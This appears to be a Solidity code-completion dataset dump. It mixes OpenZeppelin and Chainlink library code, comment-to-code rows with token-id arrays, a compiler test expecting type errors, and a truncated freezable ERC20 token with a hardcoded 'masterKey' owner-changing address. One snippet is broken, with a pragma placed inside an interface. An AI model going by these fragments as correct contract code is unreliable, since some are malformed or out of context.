v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } }
* @dev Allows the owner to withdraw link/
function withdrawLink() external onlyOwner { require(LINK.transfer(msg.sender, LINK.balanceOf(address(this))), "LINK Transfer failed"); }
560,415
[ 1, 19132, 326, 3410, 358, 598, 9446, 1692, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 2098, 1435, 3903, 1338, 5541, 288, 203, 3639, 2583, 12, 10554, 18, 13866, 12, 3576, 18, 15330, 16, 22926, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 3631, 315, 10554, 12279, 2535, 8863, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
contract Test { function internalPureFunc(uint256 x) internal pure returns (uint256) { return x; } function internalViewFunc(uint256 x) internal view returns (uint256) { return x; } function internalMutableFunc(uint256 x) internal returns (uint256) { return x; } function externalPureFunc(uint256 x) external pure returns (uint256) { return x; } function externalViewFunc(uint256 x) external view returns (uint256) { return x; } function externalPayableFunc(uint256 x) external payable returns (uint256) { return x; } function externalMutableFunc(uint256 x) external returns (uint256) { return x; } function funcTakesInternalPure(function(uint256) internal pure returns(uint256) a) internal returns (uint256) { return a(4); } function funcTakesInternalView(function(uint256) internal view returns(uint256) a) internal returns (uint256) { return a(4); } function funcTakesInternalMutable(function(uint256) internal returns(uint256) a) internal returns (uint256) { return a(4); } function funcTakesExternalPure(function(uint256) external pure returns(uint256) a) internal returns (uint256) { return a(4); } function funcTakesExternalView(function(uint256) external view returns(uint256) a) internal returns (uint256) { return a(4); } function funcTakesExternalPayable(function(uint256) external payable returns(uint256) a) internal returns (uint256) { return a(4); } function funcTakesExternalMutable(function(uint256) external returns(uint256) a) internal returns (uint256) { return a(4); } function tests() internal { funcTakesInternalPure(internalViewFunc); // view -> pure should fail funcTakesInternalPure(internalMutableFunc); // mutable -> pure should fail funcTakesInternalView(internalMutableFunc); // mutable -> view should fail funcTakesExternalPure(this.externalViewFunc); // view -> pure should fail funcTakesExternalPure(this.externalPayableFunc); // payable -> pure should fail funcTakesExternalPure(this.externalMutableFunc); // mutable -> pure should fail funcTakesExternalView(this.externalPayableFunc); // payable -> view should fail funcTakesExternalView(this.externalMutableFunc); // mutable -> view should fail funcTakesExternalPayable(this.externalPureFunc); // pure -> payable should fail funcTakesExternalPayable(this.externalViewFunc); // view -> payable should fail funcTakesExternalPayable(this.externalMutableFunc); // mutable -> payable should fail } } // ---- // TypeError: (1580-1596): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) view returns (uint256) to function (uint256) pure returns (uint256) requested. // TypeError: (1653-1672): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) returns (uint256) to function (uint256) pure returns (uint256) requested. // TypeError: (1733-1752): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) returns (uint256) to function (uint256) view returns (uint256) requested. // TypeError: (1813-1834): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) view external returns (uint256) to function (uint256) pure external returns (uint256) requested. // TypeError: (1891-1915): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) payable external returns (uint256) to function (uint256) pure external returns (uint256) requested. // TypeError: (1975-1999): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) external returns (uint256) to function (uint256) pure external returns (uint256) requested. // TypeError: (2060-2084): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) payable external returns (uint256) to function (uint256) view external returns (uint256) requested. // TypeError: (2144-2168): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) external returns (uint256) to function (uint256) view external returns (uint256) requested. // TypeError: (2232-2253): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) pure external returns (uint256) to function (uint256) payable external returns (uint256) requested. // TypeError: (2316-2337): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) view external returns (uint256) to function (uint256) payable external returns (uint256) requested. // TypeError: (2400-2424): Invalid type for argument in function call. Invalid implicit conversion from function (uint256) external returns (uint256) to function (uint256) payable external returns (uint256) requested.
mutable -> view should fail
funcTakesInternalView(internalMutableFunc);
5,477,661
[ 1, 5146, 317, 1476, 1410, 2321, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1326, 11524, 3061, 1767, 12, 7236, 19536, 2622, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x68d0F6d1d99Bb830E17fFaA8aDB5BbeD9D6EEc2E/sources/home/dave/proof/proof-seller/contracts/sellers/src/interfaces/ISellable.sol
* @notice Basic interface for a contract providing sellable content./
interface ISellable { function handleSale(address to, uint64 num, bytes calldata data) external payable; pragma solidity >=0.8.0 <0.9.0; }
17,131,707
[ 1, 8252, 1560, 364, 279, 6835, 17721, 357, 80, 429, 913, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 4437, 1165, 429, 288, 203, 565, 445, 1640, 30746, 12, 2867, 358, 16, 2254, 1105, 818, 16, 1731, 745, 892, 501, 13, 3903, 8843, 429, 31, 203, 683, 9454, 18035, 560, 1545, 20, 18, 28, 18, 20, 411, 20, 18, 29, 18, 20, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 result = a * b; assert(a == 0 || result / a == b); return result; } function div(uint256 a, uint256 b)internal pure returns (uint256) { uint256 result = a / b; return result; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 result = a + b; assert(result >= a); return result; } } contract ERC20Basic { uint256 public totalSupply; event Transfer(address indexed from, address indexed to, uint256 value); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); } contract ERC20 is ERC20Basic { event Approval(address indexed owner, address indexed spender, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); } contract BasicToken is ERC20Basic { using SafeMath for uint256; struct WalletData { uint256 tokensAmount; //Tokens amount on wallet uint256 freezedAmount; //Freezed tokens amount on wallet. bool canFreezeTokens; //Is wallet can freeze tokens or not. uint unfreezeDate; // Date when we can unfreeze tokens on wallet. } mapping(address => WalletData) wallets; function transfer(address _to, uint256 _value) public notSender(_to) returns(bool) { require(_to != address(0) && wallets[msg.sender].tokensAmount >= _value && checkIfCanUseTokens(msg.sender, _value)); uint256 amount = wallets[msg.sender].tokensAmount.sub(_value); wallets[msg.sender].tokensAmount = amount; wallets[_to].tokensAmount = wallets[_to].tokensAmount.add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns(uint256 balance) { return wallets[_owner].tokensAmount; } // Check wallet on unfreeze tokens amount function checkIfCanUseTokens(address _owner, uint256 _amount) internal view returns(bool) { uint256 unfreezedAmount = wallets[_owner].tokensAmount - wallets[_owner].freezedAmount; return _amount <= unfreezedAmount; } // Prevents user to send transaction on his own address modifier notSender(address _owner) { require(msg.sender != _owner); _; } } contract StandartToken is ERC20, BasicToken{ mapping (address => mapping (address => uint256)) allowed; function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0) && checkIfCanUseTokens(_from, _value) && _value <= wallets[_from].tokensAmount && _value <= allowed[_from][msg.sender]); wallets[_from].tokensAmount = wallets[_from].tokensAmount.sub(_value); wallets[_to].tokensAmount = wallets[_to].tokensAmount.add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } } contract Ownable { constructor() public { owner = msg.sender; } event TransferOwnership(address indexed _previousOwner, address indexed _newOwner); address public owner = 0x0; //wallet that can change owner address internal masterKey = 0x4977A392d8D207B49c7fDE8A6B91C23bCebE7291; function transferOwnership(address _newOwner) public returns(bool); modifier onlyOwner() { require(msg.sender == owner); _; } } contract FreezableToken is StandartToken, Ownable { event ChangeFreezePermission(address indexed _owner, bool _permission); event FreezeTokens(address indexed _owner, uint256 _freezeAmount); event UnfreezeTokens(address indexed _owner, uint256 _unfreezeAmount); // Give\deprive permission to a wallet for freeze tokens. function giveFreezePermission(address[] _owners, bool _permission) public onlyOwner returns(bool) { for (uint i = 0; i < _owners.length; i++) { wallets[_owners[i]].canFreezeTokens = _permission; emit ChangeFreezePermission(_owners[i], _permission); } return true; } function freezeAllowance(address _owner) public view returns(bool) { return wallets[_owner].canFreezeTokens; } // Freeze tokens on sender wallet if have permission. function freezeTokens(uint256 _amount, uint _unfreezeDate) public isFreezeAllowed returns(bool) { //We can freeze tokens only if there are no frozen tokens on the wallet. require(wallets[msg.sender].freezedAmount == 0 && wallets[msg.sender].tokensAmount >= _amount); wallets[msg.sender].freezedAmount = _amount; wallets[msg.sender].unfreezeDate = _unfreezeDate; emit FreezeTokens(msg.sender, _amount); return true; } function showFreezedTokensAmount(address _owner) public view returns(uint256) { return wallets[_owner].freezedAmount; } function unfreezeTokens() public returns(bool) { require(wallets[msg.sender].freezedAmount > 0 && now >= wallets[msg.sender].unfreezeDate); emit UnfreezeTokens(msg.sender, wallets[msg.sender].freezedAmount); wallets[msg.sender].freezedAmount = 0; // Unfreeze all tokens. wallets[msg.sender].unfreezeDate = 0; return true; } //Show date in UNIX time format. function showTokensUnfreezeDate(address _owner) public view returns(uint) { //If wallet don't have freezed tokens - function will return 0. return wallets[_owner].unfreezeDate; } function getUnfreezedTokens(address _owner) internal view returns(uint256) { return wallets[_owner].tokensAmount - wallets[_owner].freezedAmount; } modifier isFreezeAllowed() { require(freezeAllowance(msg.sender)); _; } } contract MultisendableToken is FreezableToken { function massTransfer(address[] _addresses, uint[] _values) public onlyOwner returns(bool) { for (uint i = 0; i < _addresses.length; i++) { transferFromOwner(_addresses[i], _values[i]); } 